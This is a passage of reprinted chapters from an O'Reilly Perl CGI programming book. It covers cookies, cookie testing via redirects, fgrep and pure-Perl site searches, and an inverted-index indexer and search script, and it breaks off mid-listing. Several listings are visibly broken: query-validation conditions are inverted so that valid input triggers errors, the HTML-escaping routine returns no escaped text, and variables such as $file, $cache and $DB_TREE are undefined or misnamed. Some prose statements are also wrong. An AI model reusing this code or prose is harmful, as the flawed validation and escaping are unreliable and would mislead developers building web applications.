Second, there are restrictions placed on cookie size and the number of cookies. According to Netscape's original cookie specification, no cookie can exceed 4KB, only twenty cookies are allowed per domain, and a total of 300 cookies can be stored on the client side. Some browsers may support more than this, but you should not assume this.

11.3.1. Setting Cookies

How do cookies work? When a CGI application identifies a new user, it adds an extra header to its response containing an identifier for that user and other information that the server may collect from the client's input. This header informs the cookie-enabled browser to add this information to the client's cookies file. After this, all requests to that URL from the browser will include the cookie information as an extra header in the request. The CGI application uses this information to return a document tailored to that specific client. Because cookies can be stored on the client user's hard disk, that information can even remain when the browser is closed and reopened.

In order to set a cookie, you send a Set-Cookie HTTP header to the browser with a number of parameters for the cookie you wish to set. The browser then returns the cookie in its Cookie header. The Set-Cookie header is formatted as follows:

Set-Cookie: cart_id=12345; domain=.oreilly.com; path=/cgi;
            expires=Wed, 14-Feb-2001 05:53:40 GMT; secure

In this example, the name of the cookie is cart_id, the value is 12345, and the rest of the parameters are set as name-value pairs except for secure, which never has a value -- it is either present or not. Table 11-2 shows a list of the parameters that you can set with a cookie.

Table 11-2. Netscape Cookies Parameters

HTTP Cookie Parameter | CGI.pm cookie( ) Parameter | Description
Name | -name | The name given to the cookie; it is possible to set multiple cookies with different names and attributes.
Value | -value | The value assigned to the cookie.
Domain | -domain | The browser will only return the cookie for URLs within this domain.
Expires | -expires | This tells the browser when the cookie expires.
Path | -path | The browser will only return the cookie for URLs below this path.
Secure | -secure | The browser will only return the cookie for secure URLs using the https protocol.

CGI.pm supports cookies, so you can generate the header above via the following commands:

my $cookie = $q->cookie( -name    => "cart_id",
                         -value   => 12345,
                         -domain  => ".oreilly.com",
                         -expires => "+1y",
                         -path    => "/cgi",
                         -secure  => 1 );

print "Set-Cookie: $cookie\n";

However, there's no need to print the Set-Cookie header manually because CGI.pm will format it for you along with other HTTP headers:

print $q->header( -type => "text/html", -cookie => $cookie );

A browser that receives this cookie and accepts it will send it back for all future secure connections to any URL that includes a domain ending in .oreilly.com and a path that starts with /cgi. For example, if the browser requests the URL https://www.oreilly.com/cgi/store/checkout.cgi, it will supply the following header:

Cookie: cart_id=12345

This raw name-value pair is available in the HTTP_COOKIE environment variable or via CGI.pm's raw_cookie method, but it is much simpler to have CGI.pm parse cookies for you. To get the value of a cookie, call the cookie method with the name of the cookie you want:

my $cookie = $q->cookie( "cart_id" );

The following restrictions apply to the parameters that you provide when setting cookies:

  • Name and value can include any characters. CGI.pm will automatically URL-encode any special characters. Name and value are both required parameters.

  • Domain must match the domain name of the server setting the cookie. Domains are matched from right to left, so .oreilly.com matches www.oreilly.com as well as server3.oreilly.com or even fred.sf.oreilly.com.

    Domains ending with a three-character top-level domain, such as .com, .net, .org, etc., must contain at least two dots. Country top-level domains, such as .au, .uk, .ca, etc., require at least three dots. This prevents someone from setting a cookie for a large common domain such as .com or .co.uk.

    If the domain parameter is not explicitly set, it defaults to the full, current domain, such as www.oreilly.com.

  • Expires contains a timestamp in the following format:

    Wdy, DD-Mon-YY HH:MM:SS GMT

    Fortunately, you don't have to worry about remembering this because CGI.pm allows you to specify the expiration date using relative values:

    -expires => "+1y"    # 1 year from now
-expires => "+6M"    # 6 months from now
-expires => "-1d"    # yesterday (i.e., delete it)
-expires => "+12h"   # 12 hours from now
-expires => "+30m"   # 30 minutes from now
-expires => "+15s"   # 15 seconds from now
-expires => "now"    # now

    Note that M is used for months and m is used for minutes. If a time is specified that's in the past, the browser does not save the cookie and deletes any previous cookies with the same name for the same domain and path.

    If an expiration date is not specified, then the browser saves the cookie in memory until it exits.

  • Path, like domain, controls when the browser should send the cookie to the server. It must be an absolute path, and it must match the path of the request that sets the cookie. Paths are matched from left to right, and any trailing / is removed from the path parameter, so /cgi/ matches /cgi/check_cart.cgi as well as /cgi-bin/calendar.cgi.

    If path is not specified, it defaults to the full path of the request that sets the cookie.

  • Secure tells the browser that it should only return the cookies for future requests if they are via https.

Browsers distinguish between cookies with the same name but different domains and/or paths. Thus, it is possible for a browser to send you multiple cookies with the same name. However, the browser should send the most specific cookie first in its response. For example, if you set the following two cookies:

my $c1 = $q->cookie( -name => "user", -value => "site_value",  -path => "/" );
my $c2 = $q->cookie( -name => "user", -value => "store_value", -path => "/cgi" );

print $q->header( -type => "text/html", -cookie => [ $c1, $c2 ] );
.
.

then on future requests, the browser should send you the following:

Cookie: user=store_value; user=site_value

Unlike form parameters, CGI.pm will not return multiple values for cookies with the same name; instead, it will always return the first value. The following:

my $user = $q->cookie( "user" );

sets $user to "store_value". If you need to get the second value, you will have to inspect the value of the HTTP_COOKIE environment variable (or CGI.pm's raw_cookie method) yourself.

Of course, you would probably never set two cookies with the same name in the same script. However, it is quite possible for large sites that you end up with different applications each setting a cookie that share the same name. Therefore, especially if your site is on a domain that is shared with others, it is a good idea with cookies to choose a unique name for your cookies and to restrict the domain and path as much as possible.

Browsers do not consider cookies with different values for secure distinct the way that cookies with different domains and paths are distinct. Thus, you cannot set one value for https connections and another value for http connections to the same domain and path; the second cookie will simply overwrite the first cookie.

11.3.2. Testing for Cookies

If a client does not accept cookies, it will not tell you this; instead it just quietly discards them. Thus, a client who does not accept cookies looks to your CGI scripts just like a new client who has not received any cookies yet. It can be a challenge to tell them apart. Some sites do not put much effort into distinguishing the two and simply add a notice that their site requires cookies and may not work correctly without them. However, a better solution is to test for cookie support via redirection.

Let's say you have an application at http://www.oreilly.com/cgi/store/store.cgi that requires cookies in order to track users' shopping carts. The first thing that this CGI script can do is check to see whether the client sent a cookie. If so, then the user is ready to shop. Otherwise, the CGI script needs to set a cookie first. If the CGI script sets a cookie at the same time that it forwards the user to another URL, such as http://www.oreilly.com/cgi/store/check_cookies.cgi, the second URL can test whether the cookie was in fact set properly. Example 11-4 provides the beginning of the main CGI script.

Example 11-4. store.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;

my $q       = new CGI;
my $cart_id = $q->cookie( -name => "cart_id" ) || set_cookie( $q );

# Script continues for users with cookies
.
.

sub set_cookie {
    my $q = shift;
    my $server = $q->server_name;
    my $cart_id = unique_id(  );
    my $cookie  = $q->cookie( -name  => "cart_id",
                              -value => $cart_id,
                              -path  => "/cgi/store" );
    print $q->redirect ( -url => "http://$server/cgi/store/cookie_test.cgi",
                         -cookie => $cookie );
    exit;
}

If we cannot retrieve a cookie for cart_id, we calculate a new unique id for the user and format it as a cookie for the current session that is only visible within our store. The unique_id subroutine is the same one used in Example 11-1 and Example 11-3; we omit it here for brevity. We set the cookie and forward the user to a second CGI script that will test the cookie for us.

There are a number of issues specifically related to setting cookies as part of a redirection:

  • If the domain of the URL in your redirection is different than the domain of your script, then you cannot set a cookie for the target domain. Browsers are expected to ignore cookies under these circumstances to ensure privacy.

  • The URL must use an absolute path; otherwise, the web server may attempt to avoid another request and response cycle by simply returning the content for the new URL as the content of the initial response via an internal redirect.

  • The scope of the cookie must include both the CGI script setting the cookie as well as the CGI script testing whether the cookie is set. In our case, they are both below /cgi/store, so we set our cookie's path to this.

Example 11-5 contains the source for cookie_test.cgi .

Example 11-5. cookie_test.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;

use constant SOURCE_CGI => "/cgi/store/store.cgi";

my $q      = new CGI;
my $cookie = $q->cookie( -name => "cart_id" );

if ( defined $cookie ) {
    print $q->redirect( SOURCE_CGI );
}
else {
    print $q->header( -type => "text/html", -expires => "-1d" ),
          $q->start_html( "Cookies Disabled" ),
          $q->h1( "Cookies Disabled" ),
          $q->p( "Your browser is not accepting cookies. Please upgrade ",
                 "to a newer browser or enable cookies in your preferences and",
            $q->a( { -href => SOURCE_CGI }, "return to the store" ),
            "."
          ),
          $q->end_html;
}

This script is quite short. First we store the relative URL of the script that we came from in a constant. We could pull this from HTTP_REFERER, but not all browsers send the Referer HTTP field; because of privacy concerns, some browsers allow the user to disable this field. The safe alternative is to hardcode it into our script here.

We then create a new CGI.pm object and check for the cookie. If the cookie is set, we redirect the user back to the original CGI script, which will now see the new cookie and continue. If the cookie is not set, then we display a message telling the user the problem and providing a link back to the original script to try again. Notice that we disable caching for this page by passing an expired parameter to CGI.pm's header method. This ensures that when the user returns, the browser calls the script to test for cookies again instead of displaying a cached copy of the error message.

Previous | Home | Next
11.2. Hidden Fields | Book Index | 12. Searching the Web Server
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Searching the Web Server (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 12. Searching the Web Server

Contents:

Searching One by One
Searching One by One, Take Two
Inverted Index Search

Allowing users to search for specific information on your web site is a very important and useful feature, and one that can save them from potential frustration trying to locate particular documents. The concept behind creating a search application is rather trivial: accept a query from the user, check it against a set of documents, and return those that match the specified query. Unfortunately, there are several issues that complicate the matter, the most significant of which is dealing with large document repositories. In such cases, it's not practical to search through each and every document in a linear fashion, much like searching for a needle in a haystack. The solution is to reduce the amount of data we need to search by doing some of the work in advance.

This chapter will teach you how to implement different types of search engines, ranging from the trivial, which search documents on the fly, to the most complex, which are capable of intelligent searches.

12.1. Searching One by One

The very first example that we will look at is rather trivial in that it does not perform the actual search, but passes the query to the fgrep command and processes the results.

Before we go any further, here's the HTML form that we will use to get the information from the user:

<HTML>
<HEAD>
    <TITLE>Simple 'Mindless' Search</TITLE>
</HEAD>
<BODY>
<H1>Are you ready to search?</H1>
<P>
<FORM ACTION="/cgi/grep_search1.cgi" METHOD="GET">
<INPUT TYPE="text" NAME="query" SIZE="20">
<INPUT TYPE="submit" VALUE="GO!">
</FORM>
</BODY>
</HTML>

As we mentioned above, the program is quite simple. It creates a pipe to the fgrep command and passes it the query, as well as options to perform case-insensitive searches and to return the matching filenames without any text. The program beautifies the output from fgrep by converting it to an HTML document and returns it to the browser.

fgrep returns the list of matched files in the following format:

/usr/local/apache/htdocs/how_to_script.html
/usr/local/apache/htdocs/i_need_perl.html
.
.

The program converts this to the following HTML list:

<LI><A HREF="/how_to_script.html" >how_to_script.html</A></LI>
<LI><A HREF="/i_need_perl.html">i_need_perl.html</A></LI>
.
.

Let's look at the program now, as shown in Example 12-1.

Example 12-1. grep_search1.cgi

#!/usr/bin/perl -wT
# WARNING: This code has significant limitations; see description

use strict;
use CGI;
use CGIBook::Error;

# Make the environment safe to call fgrep
BEGIN {
    $ENV{PATH} = "/bin:/usr/bin";
    delete @ENV{ qw( IFS CDPATH ENV BASH_ENV ) };
}

my $FGREP         = "/usr/local/bin/fgrep";
my $DOCUMENT_ROOT = $ENV{DOCUMENT_ROOT};
my $VIRTUAL_PATH  = "";

my $q       = new CGI;
my $query   = $q->param( "query" );

$query =~ s/[^\w ]//g;
$query =~ /([\w ]+)/;
$query = $1;

if ( defined $query ) {
    error( $q, "Please specify a valid query!" );
}

my $results = search( $q, $query );

print $q->header( "text/html" ),
      $q->start_html( "Simple Search with fgrep" ),
      $q->h1( "Search for: $query" ),
      $q->ul( $results || "No matches found" ),
      $q->end_html;

sub search {
    my( $q, $query ) = @_;
    local *PIPE;
    my $matches = "";

    open PIPE, "$FGREP -il '$query' $DOCUMENT_ROOT/* |"
        or die "Cannot open fgrep: $!";

    while ( <PIPE> ) {
        chomp;
        s|.*/||;
        $matches .= $q->li(
                        $q->a( { href => "$VIRTUAL_PATH/$_" }, $_ )
                    );
    }
    close PIPE;
    return $matches;
}

We initialize three globals -- $FGREP, $DOCUMENT_ROOT, and $VIRTUAL_PATH -- which store the path to the fgrep binary, the search directory, and the virtual path to that directory, respectively. If you do not want the program to search the web server's top-level document directory, you should change $DOCUMENT_ROOT to reflect the full path of the directory where you want to enable searches. If you do make such a change, you will also need to modify $VIRTUAL_PATH to reflect the URL path to the directory.

Because Perl will pass our fgrep command through a shell, we need to make sure that the query we send it is not going to cause any security problems. Let's decide to allow only "words" (represented in Perl as "a-z", "A-Z", "0-9", and "_") and spaces in the search. We proceed to strip out all characters other than words and spaces and pass the result through an additional regular expression to untaint it. We need to do this extra step because, although we know the substitution really did make the data safe, a substitution is not sufficient to untaint the data for Perl. We could have skipped the substitution and just performed the regular expression match, but it means that if someone entered an invalid character, only that part of their query before the illegal character would be included in the search. By doing the substitution first, we can strip out illegal characters and perform a search on everything else.

After all this, if the query is not provided or is empty, we call our familiar error subroutine to notify the user of the error. We test whether it is defined first to avoid a warning for using an undefined variable.

We open a PIPE to the fgrep command for reading, which is the purpose of the trailing "|". Notice how the syntax is not much different from opening a file. If the pipe succeeds, we can go ahead and read the results from the pipe.

The -il options force fgrep to perform case-insensitive searches and return the filenames (and not the matched lines). We make sure to quote the string in case the user is searching for a multiple word query.

Finally, the last argument to fgrep is a list of all the files that it should search. The shell expands ( globs) the wildcard character into a list of all the files in the specified directory. This can cause problems if the directory contains a large number of files, as some shells have internal glob limits. We will fix this problem in the next section.

The while loop iterates through the results, setting $_ to the current record each time through the loop. We strip the end-of-line character(s) and the directory information so we are left with just the filename. Then we create a list item containing a hypertext link to the item.

Finally, we print out our results.

How would you rate this application? It's a simple search engine and it works well on a small collection of files, but it suffers from a few problems:

  • It calls an external application (fgrep) to handle the search, which makes it nonportable; Windows 95 for instance does not have a fgrep application.

  • Alphanumeric "symbols" are stripped from the search query, due to security concerns.

  • It could very well run into an internal glob limit when used with certain shells; some shells have limits as low as 256 files.

  • It does not search multiple directories.

  • It does not return content, but simply filename(s), although we could have added this functionality by not specifying the -l option.

So, let's try again and create a better search engine.

Previous | Home | Next
11.3. Client-Side Cookies | Book Index | 12.2. Searching One by One, Take Two
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Searching One by One, Take Two (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

12.2. Searching One by One, Take Two

The search engine we will create in this section is much improved. It no longer depends on fgrep to carry out the search, which also means that we no longer have to use the shell. And thus, we will not run into an internal glob limit.

In addition, this application returns the matched content and highlights the query, which makes it much more useful as well.

How does it work? It creates a list of all the HTML files in the specified directory using Perl's own functions, and then iterates over each file searching for a line that contains a match for the query. All matches are stored in an array and are later converted to HTML.

Example 12-2 contains the new program.

Example 12-2. grep_search2.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;
use CGIBook::Error;

my $DOCUMENT_ROOT = $ENV{DOCUMENT_ROOT};
my $VIRTUAL_PATH  = "";

my $q           = new CGI;
my $query       = $q->param( "query" );

if ( defined $query and length $query ) {
    error( $q, "Please specify a valid query!" );
}

$query = quotemeta( $query );
my $results = search( $q, $query );

print $q->header( "text/html" ),
      $q->start_html( "Simple Perl Search" ),
      $q->h1( "Search for: $query" ),
      $q->ul( $results || "No matches found" ),
      $q->end_html;

sub search {
    my( $q, $query ) = @_;
    my( %matches, @files, @sorted_paths, $results );

    local( *DIR, *FILE );

    opendir DIR, $DOCUMENT_ROOT or
        error( $q, "Cannot access search dir!" );

    @files = grep { -T "$DOCUMENT_ROOT/$_" } readdir DIR;
    close DIR;

    foreach ( @files ) {
        my $full_path = "$DOCUMENT_ROOT/$_";

        open FILE, $full_path or
            error( $q, "Cannot process $file!" );

        while ( <FILE> ) {
            if ( /$query/io ) {
                $_ = html_escape( $_ );
                s|$query|<B>$query</B>|gio;
                push @{ $matches{$full_path}{content} }, $_;
                $matches{$full_path}{file} = $file;
                $matches{$full_path}{num_matches}++;
            }
        }
        close FILE;
    }

    @sorted_paths = sort {
                        $matches{$b}{num_matches} <=>
                        $matches{$a}{num_matches} ||
                        $a cmp $b
                    } keys %matches;

    foreach $full_path ( @sorted_paths ) {
        my $file        = $matches{$full_path}{file};
        my $num_matches = $matches{$full_path}{num_matches};

        my $link = $q->a( { -href => "$VIRTUAL_PATH/$file" }, $file );
        my $content = join $q->br, @{ $matches{$full_path}{content} };

        $results .= $q->p( $q->b( $link ) . " ($num_matches matches)" .
                           $q->br . $content
                    );
    }

    return $results;
}

sub html_escape {
    my( $text ) = @_;

    $text =~ s/&/&amp;/g;
    $text =~ s/</&lt;/g;
    $text =~ s/>/&gt;/g;
}

This program starts out like our previous example. Since we are searching for the query without exposing it to the shell, we no longer have to strip out any characters from the query. Instead we escape any characters that may be interpreted in a regular expression by calling Perl's quotemeta function.

The opendir function opens the specified directory and returns a handle that we can use to get a list of all the files in that directory. It's a waste of time to search through binary files, such as sounds and images, so we use Perl's grep function (not to be confused with the Unix grep and fgrep applications) to filter them out.

In this context, the grep function iterates over a list of filenames returned by readdir -- setting $_ for each element -- and evaluates the expression specified within the braces, returning only the elements for which the expression is true.

We are using readdir in an array context so that we can pass the list of all files in the directory to grep for processing. But there is a problem with this approach. The readdir function simply returns the name of the file and not the full path, which means that we have to construct a full path before we can pass it to the -T operator. We use the $DOCUMENT_ROOT variable to create the full path to the file.

The -T operator returns true if the file is a text file. After grep finishes processing all the files, @files will contain a list of all the text files.

We iterate through the @files array, setting $file to the current value each time through the loop. We proceed to open the file, making sure to return an error if we cannot open it, and iterate through it one line at a time.

The %matches hash contains three elements: file to store the name of the file, num_matches to store the number of matches, and a content array to hold all the lines containing matches. We need the filename for output purposes.

We use a simple case-insensitive regex to search for the query. The o option compiles the regex only once, which greatly improves the speed of the search. Note that this will cause problems for scripts running under mod_perl or FastCGI, which we'll discuss later in Chapter 17, "Efficiency and Optimization".

If the line contains a match, we escape characters that could be mistaken for HTML tags. We then bold the matched text, increment the match counter by the number of matches, and push that line onto that file's content array.

After we have finished looking through the files, we sort the results by the number of matches found in decreasing order and then alphabetically by path for those who have the same number of matches.

To generate our results, we walk through our sorted list. For each file, we create a link and display the number of matches and all the lines that matched the query. Since the content exists as individual elements in an array, we join all the elements together into one large string delimited by an HTML break tag.

Now, let us improve on this application a bit by allowing users to specify regular expression searches. We will not present the entire application, since it is very similar to the one we have just covered.

12.2.1. Regex-Based Search Engine

By allowing users to specify regular expressions in their search, we make the search engine much more powerful. For example, a user who wants to search for the recipe for Zwetschgendatschi (a Bavarian plum cake) from your online collection, but is not sure of the exact spelling, could simply enter Zwet.+?chi to find it.

In order to implement this functionality, we have to add several pieces to the search engine.

First, we need to modify the HTML file to provide an option for the user to turn the functionality on or off:

Regex Searching:
    <INPUT TYPE="radio" NAME="regex" VALUE="on">On
    <INPUT TYPE="radio" NAME="regex" VALUE="off" CHECKED>Off

Then, we need to check for this value in the application and act accordingly. Here is the beginning of the new search script:

#!/usr/bin/perl -wT

use strict;

my $q     = new CGI;
my $regex = $q->param( "regex" );
my $query = $q->param( "query" );

unless ( defined $query and length $query ) {
    error( $q, "Please specify a query!" );
}

if ( $regex eq "on" ) {
    eval { /$query/o };
    error( $q, "Invalid Regex") if $@;
}
else {
    $query = quotemeta $query;
}

my $results = search( $q, $query );

print $q->header( "text/html" ),
      $q->start_html( "Simple Perl Regex Search" ),
      $q->h1( "Search for: $query" ),
      $q->ul( $results || "No matches found" ),
      $q->end_html;
.
.

The rest of the code remains the same. What we are doing differently here is checking if the user chose the "regex" option and if so, evaluating the user-specified regex at runtime using the eval function. We can check to see whether the regex is invalid by looking at the value stored in $@. Perl sets this variable if there is an error in the evaluated code. If the regex is valid, we can go ahead and use it directly, without quoting the specified metacharacters. If the "regex" option was not requested, we perform the search as before.

As you can see, both of these applications are much improved over the first one, but neither one of them is perfect. Since both of them are based on a linear search algorithm, the search process will be slow when dealing with directories that contain many files. They also search only one directory. They could be modified to recurse down through subdirectories, but that would decrease the performance even more. In the next section, we will look at an index-based approach that calls for creating a dictionary of relevant words in advance, and then searching it rather than the actual files.

Previous | Home | Next
12. Searching the Web Server | Book Index | 12.3. Inverted Index Search
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Inverted Index Search (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

12.3. Inverted Index Search

The applications that we've looked at so far search through each and every file in the specified directory, looking for particular words or phrases. This is not only time consuming, but will also place a great burden on the server. We clearly need a different approach to searching.

A more efficient approach is to create an index (like the one you can find at the back of this and other books) containing all the words from specific documents and the name of the document in which they appear.

In this section, we will discuss an application that creates an inverted index. The index is inverted in the sense that a particular word is used to find the file(s) in which it appears, rather than the other way around. In the following section, we will look at the CGI script that searches this index and presents the results in a nice format.

Example 12-3 creates the indexer.

Example 12-3. indexer.pl

#!/usr/bin/perl -wT
# This is not a CGI, so taint mode not required

use strict;

use File::Find;
use DB_File;
use Getopt::Long;
require "stem.pl";

use constant DB_CACHE      => 0;
use constant DEFAULT_INDEX => "/usr/local/apache/data/index.db";

my( %opts, %index, @files, $stop_words );

GetOptions( \%opts, "dir=s",
                    "cache=s",
                    "index=s",
                    "ignore",
                    "stop=s",
                    "numbers",
                    "stem" );

die usage(  ) unless $opts{dir} && -d $opts{dir};

$opts{'index'}        ||= DEFAULT_INDEX;
$DB_BTREE->{cachesize}  = $cache || DB_CACHE;

$index{"!OPTION:stem"} = 1 if $opts{'stem'};
$index{"!OPTION:ignore"} = 1 if $opts{'ignore'};

tie %index, "DB_File", $opts{'index'}, O_RDWR|O_CREAT, 0640, $DB_TREE
    or die "Cannot tie database: $!\n";

find( sub { push @files, $File::Find::name }, $opts{dir} );
$stop_words = load_stopwords( $opts{stop} ) if $opts{stop};

process_files( \%index, \@files, \%opts, $stop_words );

untie %index;

sub load_stopwords {
    my $file = shift;
    my $words = {};
    local *INFO, $_;

    die "Cannot file stop file: $file\n" unless -e $file;

    open INFO, $file or die "$!\n";
    while ( <INFO> ) {
        next if /^#/;
        $words->{lc $1} = 1 if /(\S+)/;
    }

    close INFO;
    return $words;
}

sub process_files {
    my( $index, $files, $opts, $stop_words ) = @_;
    local *FILE, $_;
    local $/ = "\n\n";

    for ( my $file_id = 0; $file_id < @$files; $file_id++ ) {
        my $file = $files[$file_id];
        my %seen_in_file;

        next unless -T $file;

        print STDERR "Indexing $file\n";
        $index->{"!FILE_NAME:$file_id"} = $file;

        open FILE, $file or die "Cannot open file: $file!\n";

        while ( <FILE> ) {

            tr/A-Z/a-z/ if $opts{ignore};
            s/<.+?>//gs; # Woa! what about < or > in comments or js??

            while ( /([a-z\d]{2,})\b/gi ) {
                my $word = $1;
                next if $stop_words->{lc $word};
                next if $word =~ /^\d+$/ && not $opts{number};

                ( $word ) = stem( $word ) if $opts{stem};

                $index->{$word} = ( exists $index->{$word} ?
                    "$index->{$word}:" : "" ) . "$file_id" unless
                    $seen_in_file{$word}++;
            }
        }
    }
}

sub usage {
    my $usage = <<End_of_Usage;

Usage: $0 -dir directory [options]

The options are:

  -cache         DB_File cache size (in bytes)
  -index         Path to index, default:/usr/local/apache/data/index.db
  -ignore        Case-insensitive index
  -stop          Path to stopwords file
  -numbers       Include numbers in index
  -stem          Stem words

End_of_Usage
    return $usage;
}

We will use File::Find to get a list of all the files in the specified directory, as well as files in any subdirectories. The File::Basename module provides us with functions to extract the filename, given the full path. You might be wondering why we need this feature, considering the fact that we can use a simple regular expression to get at the filename. If we use a regex, we will have to determine what platform we're using the application on, and accordingly extract the filename. This module takes care of that for us.

We use DB_File to create and store the index. Note that we could also store the index in an RDBMS, although a DBM file is certainly adequate for many sites. The method for creating indexes is the same no matter what type of format we use for storage. Getopt::Long helps us handle command-line options, and stem.pl , a Perl 4 library, has algorithms to automatically "stem" (or remove) word suffixes.

We use the DB_CACHE constant to hold the size of the DB_File memory cache. Increasing the size of this cache (up to a certain point) improves insertion rate at the expense of memory. In other words, it increases the rate at which we store the words in the index. A cache size of is used as the default.

DEFAULT_INDEX contains the default path to the file that will hold our data. The user can specify a different file by using the -index option, as you will see shortly.

The GetOptions function (part of the Getopt::Long module) allows us to extract any command-line options and store them in a hash. We pass a reference to a hash and a list of options to GetOptions. The options that take arguments contain an "s" to indicate that they each take a string.

This application allows you to pass several options that will affect the indexing process. The -dir option is the only one that is required, as it is used to specify the directory that contains the files to be indexed.

You can use the -cache option to specify the cache size and -index to specify the path to the index. The -ignore option creates an index where all the words are turned into lowercase (case-insensitive). This will increase the rate at which the index is created, as well as decrease the size of the index. If you want numbers in documents to be included in the index, you can specify the -numbers option.

You can use the -stop option to specify a file that contains "stop" words -- words that are generally found in most of your documents. Typical stop words include "a", "an", "to", "it", and "the", but you can also include words that are more specific to your documents.

Finally, the -stem option stems word suffixes before storing them in the index. This will help us find words in documents much easily. For example, if a user searches for "tomatoes", our search application will return documents that contain "tomato" as well as "tomatoes". An important note here is that stemming will also create a case-insensitive index.

Here's an example of how you would use these various options:

$ ./Indexer -dir    /usr/local/apache/htdocs/sports \
            -cache  16_000_000 \
            -index  /usr/local/apache/data/sports.db \
            -stop   my_stop_words.txt \
            -stem

%index is the hash that will hold the index. We use the tie function to bind the hash to the file specified by $conf{index}. This allows us to transparently store a hash in a file, which we can later retrieve and modify. In this example, we are using DB_File, as it is faster and more efficient that other DBM implementations.

If the -stem option was used, we record this in our index so that our CGI script knows whether to apply stemming to the query as well. We could have stored this information in another database file, but that would require opening two files for each search. Instead, we name this key with an exclamation point such that it can't collide with any of the words we're indexing.

We use the find function (part of File::Find module) to get a list of all the files in the specified directory. find expects the first argument to be a code reference, which can either be a reference to a subroutine or an inlined anonymous subroutine, as is the case above. As find traverses through the directory (as well as all subdirectories), it executes the code, specified by the first argument, setting the $File::Find::name variable to the path of the file. This builds an array of the path to all the files under the original directory.

If a stop file was specified and it exists, we call the load_stopwords function to read through the file and return a reference to a hash.

The most important function in this application is process_files, which iterates through all the files and stores the words in $index. Finally, we close the binding between the hash and the file and exit. At this point, we will have a file containing the index.

Let's look at the functions now. The load_stopwords function opens the stop words file, ignores all comments (lines starting with "#"), and extracts the first word found on each line (\S+).

The word is converted to lowercase by the lc function and stored as a key in the hash referenced by $words. Since we are going to find words with mixed case in our files, it is much easier and quicker to compare them to this list if all our stop words are either completely uppercase or completely lowercase.

Before we discuss the process_files method, let's look at the arguments it expects. The first argument, $index, is a reference to an empty hash that will eventually contain the words from all the files as well as pointers to the documents where they are found. $files is a reference to a list of all the files to parse. $stop is a reference to a hashes containing our stop words. The final argument, $args, is simply a reference to the hash of our command-line arguments.

If the user chose to ignore case, we convert all words into lowercase, thus creating a case-insensitive index.

We set Perl's default input record separator, $/, to paragraph mode. In other words, one read on a file handle will return a paragraph, as opposed to a single line. This allows us to index the files at a faster rate.

We iterate through the @$files array with the for function, storing the key in $file_id and the value of the current file in $file. Since this application creates a human-searchable index, we will deal only with text files. We use the -T operator to ignore any non-text files.

The first entry into the %$index hash is a "unique" key that associates a number with the full path to the file. Since this hash will also hold all the words that we find, we use the "!FILE_NAME" string to keep our number to file mappings separate from the words.

We start our indexing process by iterating through the file a paragraph at a time; the $_ variable holds the contents. If the -case option was specified by the user, we convert the paragraph that we have just read to lowercase.

We also strip all HTML tags from the paragraph, since we don't want them to be indexed. The regexp will look for a string starting with "<", followed by one or more characters (including newlines) until it finds the first ">".

We iterate through the paragraph using a regex that extracts words greater than or equal to two characters in length and matches characters as well as digits (\d matches "0-9"). The matched word is stored in $1.

Before we check to see if the word we extracted is a stop word, we need to convert it to lowercase, since we converted all the stop words to lowercase earlier in this script. If the word is, indeed, a stop word, we skip it and continue. We also skip numbers if the -numbers option is not specified.

If the -stem option is specified, we call the stem function (part of the stem.pl library) to remove all prefixes from the word and convert it to lowercase.

Finally, we are ready to store the word in the index, where the value represents the file that we are currently parsing. Unfortunately, this isn't that simple. The last command is a little long and complicated. It helps to read it backwards. First, we check whether we have seen the word in this file previously by using the %seen_in_file hash; the first time through, there will not be an entry in the hash and will evaluate to false (and thus pass the unless check), thereafter, it will contain the number of times we have seen the number in the file and evaluate to true (and thus fail the unless check). So the first time we see the word in the file, we add it to our index. If the word was previously indexed for another file, then we join the $file_id of this file to the previous entry with a colon. Otherwise, we just add $file_id as this word's only value thus far.

When this function finishes, the %$index hash will look something like this:

$index = {
              "!FILE_NAME:1"     =>
                  "/usr/local/apache/htdocs/sports/sprint.html",
              "!FILE_NAME:2"     =>
                  "/usr/local/apache/htdocs/sports/olympics.html",
              "!FILE_NAME:3"     =>
                  "/usr/local/apache/htdocs/sports/celtics.html",
              browser              => "1:2",
              code                 => "3",
              color                => "2:3",
              comment              => "2",
              content              => "1",
              cool                 => "2:3",
              copyright            => "1:2:3"
          };

Now, we are ready to implement the CGI application that will search this index.

12.3.1. Search Application

The indexer application makes our life easier when it comes time to write the CGI application to perform the actual search. The CGI application should parse the form input, open the DBM file created by the indexer, search for possible matches and then return HTML output.

Example 12-4 contains the program.

Example 12-4. indexed_search.cgi

#!/usr/bin/perl -wT

use DB_File;
use CGI;
use CGIBook::Error;
use File::Basename;
require stem.pl;

use strict;

use constant INDEX_DB => "/usr/local/apache/data/index.db";

my( %index, $paths, $path );

my $q     = new CGI;
my $query = $q->param("query");
my @words = split /\s*(,|\s+)/, $query;

tie %index, "DB_File", INDEX_DB, O_RDONLY, 0640
    or error( $q, "Cannot open database" );

$paths = search( \%index, \@words );

print $q->header,
      $q->start_html( "Inverted Index Search" ),
      $q->h1( "Search for: $query" );

unless ( @$paths ) {
    print $q->h2( $q->font( { -color => "#FF000" },
                            "No Matches Found" ) );
}

foreach $path ( @$paths ) {
    my $file = basename( $path );
    next unless $path =~ s/^\Q$ENV{DOCUMENT_ROOT}\E//o;
    $path = to_uri_path( $path );
    print $q->a( { -href => "$path" }, "$path" ), $q->br;
}

print $q->end_html;
untie %index;

sub search {
    my( $index, $words ) = @_;
    my $do_stemming = exists $index->{"!OPTION:stem"} ? 1 : 0;
    my $ignore_case = exists $index->{"!OPTION:ignore"} ? 1 : 0;
    my( %matches, $word, $file_index );

    foreach $word ( @$words ) {
        my $match;

        if ( $do_stemming ) {
            my( $stem )  = stem( $word );
            $match = $index->{$stem};
        }
        elsif ( $ignore_case ) {
            $match = $index->{lc $word};
        }
        else {
            $match = $index->{$word};
        }

        next unless $match;

        foreach $file_index ( split /:/, $match ) {
            my $filename = $index->{"!FILE_NAME:$file_index"};
            $matches{$filename}++;
        }
    }
    my @files = map  { $_->[0] }
                sort { $matches{$a->[0]} <=> $matches{$b->[0]} ||
                       $a->[1] <=> $b->[1] }
